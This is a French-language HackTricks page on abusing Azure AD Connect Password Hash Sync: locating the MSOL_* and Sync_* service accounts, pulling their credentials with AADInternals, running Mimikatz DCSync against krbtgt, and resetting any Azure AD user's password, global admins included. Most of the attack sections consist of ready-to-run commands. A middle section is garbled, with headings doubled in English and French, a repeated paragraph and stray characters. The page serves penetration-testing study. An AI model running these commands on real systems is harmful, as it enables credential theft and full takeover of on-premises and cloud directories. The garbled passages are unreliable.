Az - PHS - Password Hash Sync

Soutenez HackTricks

Informations de base

Depuis la documentation : La synchronisation des hachages de mots de passe est l'une des méthodes de connexion utilisées pour accomplir l'identité hybride. Azure AD Connect synchronise un hachage, du hachage, du mot de passe d'un utilisateur depuis une instance Active Directory sur site vers une instance Azure AD basée sur le cloud.

C'est la méthode la plus courante utilisée par les entreprises pour synchroniser un AD sur site avec Azure AD.

Tous les utilisateurs et un hachage des hachages de mots de passe sont synchronisés de l'AD sur site vers Azure AD. Cependant, les mots de passe en clair ou les hachages originaux ne sont pas envoyés à Azure AD. De plus, les groupes de sécurité intégrés (comme les administrateurs de domaine...) ne sont pas synchronisés avec Azure AD.

La synchronisation des hachages se produit toutes les 2 minutes. Cependant, par défaut, l'expiration des mots de passe et l'expiration des comptes ne sont pas synchronisées dans Azure AD. Ainsi, un utilisateur dont le mot de passe sur site est expiré (non modifié) peut continuer à accéder aux ressources Azure en utilisant l'ancien mot de passe.

Lorsqu'un utilisateur sur site souhaite accéder à une ressource Azure, l'authentification a lieu sur Azure AD.

PHS est requis pour des fonctionnalités comme Identity Protection et AAD Domain Services.

Pivoting

Lorsque PHS est configuré, certains comptes privilégiés sont automatiquement créés :

  • Le compte MSOL_<installationID> est automatiquement créé dans l'AD sur site. Ce compte reçoit un rôle de Directory Synchronization Accounts (voir documentation) ce qui signifie qu'il a des permissions de réplication (DCSync) dans l'AD sur site.

  • Un compte Sync_<nom du serveur ADConnect sur site>_installationID est créé dans Azure AD. Ce compte peut réinitialiser le mot de passe de N'IMPORTE QUEL utilisateur (synchronisé ou uniquement cloud) dans Azure AD.

Les mots de passe des deux comptes privilégiés précédents sont stockés dans un serveur SQL sur le serveur où Azure AD Connect est installé. Les administrateurs peuvent extraire les mots de passe de ces utilisateurs privilégiés en clair. La base de données se trouve dans C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Il est possible d'extraire la configuration d'une des tables, l'une étant chiffrée :

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

La configuration chiffrée est chiffrée avec DPAPI et elle contient les mots de passe de l'utilisateur MSOL_* dans l'AD sur site et le mot de passe de Sync_* dans AzureAD. Par conséquent, en compromettant ceux-ci, il est possible de privesc à l'AD et à AzureAD.

Vous pouvez trouver un aperçu complet de la façon dont ces informations d'identification sont stockées et déchiffrées dans cette présentation.

Trouver le serveur Azure AD connect

Si le serveur où Azure AD connect est installé est joint au domaine (recommandé dans la documentation), il est possible de le trouver avec :

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Abusing MSOL_*

Abus de MSOL_*

Introduction

Introduction

Azure AD Connect est un outil utilisé pour synchroniser les objets Active Directory locaux avec Azure AD. Il existe plusieurs méthodes d'authentification disponibles pour les utilisateurs hybrides, telles que l'authentification par mot de passe (PHS), l'authentification directe (PTA) et l'authentification fédérée (ADFS). Dans ce document, nous nous concentrerons sur l'authentification par mot de passe (PHS).

Azure AD Connect

Azure AD Connect

Azure AD Connect est un outil utilisé pour synchroniser les objets Active Directory locaux avec Azure AD. Il existe plusieurs méthodes d'authentification disponibles pour les utilisateurs hybrides, telles que l'authentification par mot de passe (PHS), l'authentification directe (PTA) et l'authentification fédérée (ADFS). Dans ce document, nous nous concentrerons sur l'authentification par mot de passe (PHS).

Password Hash Sync (PHS)

Synchronisation de Hash de Mot de Passe (PHS)

PHS est une méthode d'authentification où les hash des mots de passe des utilisateurs sont synchronisés depuis Active Directory vers Azure AD. Cela permet aux utilisateurs de se connecter à Azure AD en utilisant les mêmes informations d'identification que celles utilisées pour se connecter à Active Directory.

Abusing PHS

Abus de PHS

Lors de la configuration de PHS, un compte de service nommé MSOL_<random> est créé dans Active Directory. Ce compte a des privilèges élevés et peut être utilisé pour effectuer des mouvements latéraux dans l'environnement.

Identifying MSOL_* Account

Identification du Compte MSOL_*

Pour identifier le compte MSOL_*, vous pouvez utiliser les commandes PowerShell suivantes :

Get-ADUser -Filter {UserPrincipalName -like "MSOL_*"} -Properties *

Extracting Password Hashes

Extraction des Hashs de Mot de Passe

Une fois que vous avez identifié le compte MSOL_*, vous pouvez extraire les hash des mots de passe en utilisant des outils comme Mimikatz. Voici un exemple de commande Mimikatz :

lsadump::dcsync /user:MSOL_<random>

Conclusion

Conclusion

L'abus de PHS peut permettre à un attaquant de compromettre des comptes Azure AD et de se déplacer latéralement dans l'environnement. Il est crucial de surveiller les comptes MSOL_* et de s'assurer qu'ils sont correctement sécurisés.

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Vous pouvez également utiliser adconnectdump pour obtenir ces identifiants.

Abuser de Sync_*

En compromettant le compte Sync_*, il est possible de réinitialiser le mot de passe de n'importe quel utilisateur (y compris les administrateurs globaux).

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

C'est également possible de modifier les mots de passe des utilisateurs uniquement cloud (même si cela est inattendu)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Il est également possible de vider le mot de passe de cet utilisateur.

Une autre option serait d'attribuer des permissions privilégiées à un principal de service, ce que l'utilisateur Sync a les permissions de faire, puis d'accéder à ce principal de service comme moyen de privesc.

Seamless SSO

Il est possible d'utiliser Seamless SSO avec PHS, qui est vulnérable à d'autres abus. Vérifiez-le dans :

Az - Seamless SSO

Références

Soutenez HackTricks

Last updated